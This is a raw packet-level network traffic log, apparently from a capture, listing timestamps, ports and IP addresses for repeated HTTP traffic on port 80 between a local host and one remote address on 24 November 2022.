Nov 24, 2022 13:27:53.359152079 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359170914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359179974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359198093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359221935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359239101 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359251976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359266043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359282970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359294891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359308004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359333038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359335899 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359349012 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359357119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359381914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359384060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359407902 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359410048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359421968 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359432936 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359447002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359457970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359473944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359481096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359503984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359505892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359533072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359536886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359561920 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359563112 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359575987 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359590054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359617949 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359617949 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359633923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359644890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359671116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359688997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359699011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359705925 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359726906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359735966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359751940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359754086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359770060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359781981 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359807968 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359819889 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359838009 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359841108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359854937 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359865904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359891891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359895945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359920025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359927893 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359947920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359956980 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359977007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.359977007 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.359987974 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360006094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360030890 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360030890 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360055923 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360058069 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360066891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360085011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360105991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360112906 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360126972 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360138893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360152960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360163927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360183954 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360189915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360204935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360213995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360234976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360239029 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360250950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360260963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360284090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360287905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360300064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360310078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360325098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360333920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360352039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360357046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360382080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360383034 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360405922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360409975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360431910 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360456944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360466957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360480070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360495090 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360502005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360523939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360532999 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360552073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360559940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360583067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360588074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360596895 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360615015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360640049 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360667944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360668898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360687017 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360693932 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360712051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360723019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360737085 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360749960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360769033 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360774040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360793114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360797882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360821962 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360824108 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360845089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360848904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360868931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360869884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360888004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360897064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360908031 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360922098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360935926 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360946894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360963106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360972881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.360996962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.360999107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361016989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361025095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361041069 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361048937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361073017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361094952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361118078 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361119986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361119986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361141920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361150980 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361175060 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361195087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361217976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361222982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361249924 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361251116 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361264944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361278057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361300945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361303091 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361318111 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361327887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361346006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361371040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361388922 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361407995 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361430883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361445904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.361458063 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361485004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.361505985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.363213062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.364073038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.364073038 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.381987095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382009983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382029057 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382047892 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382064104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382082939 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382097960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382112026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382122040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382126093 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382122040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382122040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382122040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382144928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382163048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382164001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382181883 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382198095 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382200956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382215977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382219076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382236958 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382241011 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382253885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382262945 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382272005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382291079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382297993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382311106 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382320881 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382328987 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382349014 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382348061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382365942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382374048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382385015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382405996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382411003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382411003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382424116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382431984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382442951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382448912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382461071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382468939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382478952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382479906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382497072 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382499933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382514954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382531881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382565022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382586002 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382590055 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382616043 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382636070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382653952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382658005 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382667065 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382678032 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382687092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382704973 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382704973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382729053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382731915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382749081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382760048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382775068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382786989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382803917 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382810116 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382828951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382832050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382847071 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382852077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382864952 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382873058 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382908106 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382915974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382936954 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382949114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382949114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382956028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382973909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.382981062 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382989883 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.382991076 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383009911 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383013010 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383028984 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383045912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383047104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383065939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383066893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383085966 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383096933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383096933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383105040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383114100 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383124113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383131981 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383141994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383152962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383161068 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383173943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383181095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383183956 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383199930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383213997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383219004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383232117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383236885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383255005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383261919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383261919 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383272886 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383280039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383291006 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383308887 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383316040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383327007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383337975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383344889 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383363008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383363008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383382082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383394957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383394957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383399963 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383409977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383419037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383436918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383436918 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383438110 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383456945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383460045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383476973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383481026 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383495092 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383495092 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383513927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383521080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383532047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383538961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383550882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383568048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383570910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383585930 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383595943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383603096 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383620024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383624077 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383636951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383644104 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383656025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383666039 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383675098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383692980 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383712053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383722067 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383729935 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383739948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383750916 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383750916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383769989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.383779049 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.383789062 CET	80	49702	66.235.200.147	192.168.2.4
